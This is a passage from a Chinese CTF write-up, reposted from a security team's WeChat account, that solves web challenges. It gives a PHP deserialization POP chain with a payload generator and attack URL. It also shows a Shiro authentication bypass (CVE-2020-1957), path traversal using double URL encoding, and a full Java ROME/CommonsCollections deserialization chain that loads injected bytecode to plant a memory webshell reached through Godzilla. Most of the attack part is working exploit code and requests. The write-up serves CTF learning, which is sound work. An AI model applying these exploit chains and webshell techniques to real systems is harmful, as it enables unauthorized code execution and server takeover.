将字符串”return “look!you are hero”与three.kkk进行拼接,因此这里的kkk可以是将类当成字符串来拼接。kkk在get中,PHP的get魔术方法是一种在访问一个不存在或不可访问的属性时自动调用的方法,所以我们得想办法访问到three->xxx;观察到two()方法,用$this–>func->arg调用了一个属性;这里只要令func指向three,那么three中自然不存在arg,所以get会被触发。
two()类中的call()方法用于处理对象中不存在的方法调用。 当在对象上调用一个不存在的方法时,call()方法会被自动调用,one类中的wakeup()中,a–>new(),调用了一个类中的new方法,就可以触发call()
至于one中的wakeup(),是在反序列化恢复对象之前调用该方法。php脚本中自动给我们了unserialize,那么__wakeup会被先调用。
整个pop链为:one::wakeup->two::call->three::get->four::tostring->four::eval
用下面的脚本生成攻击载荷
<?php
class one{
public $a;
}
class two{
public $func;
public $arg;
}
class three{
public $kkk;
}
class four{
public $s;
}
$one = new one();
$two = new two();
$three = new three();
$four = new four();
$four->s = 'more${IFS}/*';
$three->kkk = $four;
$two->func = $three;
$one->a = $two;
$payload = base64_encode(serialize($one));
echo $payload;
?>
直接访问
http://**.**.**/?cmd=TzozOiJvbmUiOjE6e3M6MToiYSI7TzozOiJ0d28iOjI6e3M6NDoiZnVuYyI7Tzo1OiJ0aHJlZSI6MTp7czozOiJra2siO086NDoiZm91ciI6MTp7czoxOiJzIjtzOjEyOiJtb3JlJHtJRlN9LyoiO319czozOiJhcmciO047fX0=
就能拿到flag
ezJava
非预期解
这是一种非预期解法,所以和题目描述的Java反序列化没有关系。
界面是这样
猜测可能是Shiro,参考文章:
https://blog.csdn.net/weixin_50750081/article/details/136147826
尝试使用/;/admin来登录(至于admin怎么来的,可以说是fuzz拿到的)
GET /;/admin
可以看到,泄露了download接口,再看参数filename,猜测可能有任意文件读;
这里对../../flag进行二次url编码来绕过黑名单
完整流程为:CVE-2020-1957–>未授权访问–>来到admin文件–>泄露download接口–>任意文件读—>尝试绕黑名单读flag(二次编码)
预期解
预期解是使用反序列化漏洞。在上面的过程中,读到admin的时候,泄露了ls接口和download接口。使用/ls?path=来查看目录里面的文件信息。直接GET /;/admin/ls?path=.可以看到当前运行目录的文件。
尝试目录穿越到根目录。GET /;/admin/ls?path=../ 失败。多次尝试,发现是检测 ..和/
尝试对请求内容二次url编码。
GET /;/admin/ls?path=%25%32%45%25%32%45%25%32%46
可以得到根目录的情况
去ls app目录,可以发现有个jar包
对于download接口,使用同样的方法去绕过限制对../app/ezJava.jar二次url编码
GET /;/download?filename=%25%32%45%25%32%45%25%32%46%61%70%70%25%32%46%65%7a%4a%61%76%61%25%32%45%6a%61%72
得到jar包之后,开始逆向。
在Class EvilController中evil()函数,对输入内容base64解码后进行反序列化,跟进SafeObjectInputStream。看到有黑名单。
绕一下黑名单,发现存在rome依赖。
EqualsBean不在黑名单,利用这个类触发getter。TemplatesImpl也不在黑名单,利用这个类加载字节码。CC7前半段不在黑名单,入口和结尾都找到了。
利用CC7前半段触发EqualsBean的equals去触发getter,整条链就结束了Runtime和ProcessBuilder被ban了,没法直接命令执行,得打内存马。参考资料:
https://www.cnblogs.com/F12-blog/p/18124568
这里使用jdk8相关依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
用下面的工具生成一个内存码:
https://github.com/pen4uin/java-memshell-generator
将其序列化,注意这里的注入器类名要改成对应的。
package org.Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Rome {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get(".\src\main\java\org\Rome\ImageUtil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates,"_class",null);
setFieldValue(templates, "_name", "ImageUtil");
EqualsBean bean = new EqualsBean(String.class, "ImageUtil");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templates);
map2.put("zZ", bean);
map2.put("yy", templates);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templates);
Serialize(table);
}
public static void Serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("rome.bin"));
objectOutputStream.writeObject(object);
objectOutputStream.close();
File file = new File("rome.bin");
byte[] fileContent = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(fileContent);
fileInputStream.close();
String base64Encoded = Base64.getEncoder().encodeToString(fileContent);
System.out.println(base64Encoded);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
将生成的数据打一个POST上去:
import requests as req
from urllib.parse import quote
url="http://eci-2zed055p3vx2qdwqoe3x.cloudeci1.ichunqiu.com:8080"
api='/evil'
furl=url+api
xx="......................."
payload={
"cmd":xx
}
f=req.post(furl,data=payload)
print(f.text)
出现下面的报错:
java.lang.RuntimeException: Could not execute equals()
此时,哥斯拉的配置如下,也能连接上:
注意设置UA
然后就可以连上了。
读一下根目录的flag即可。
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@wuyua师傅
原文始发于微信公众号(星盟安全):2024极客少年WP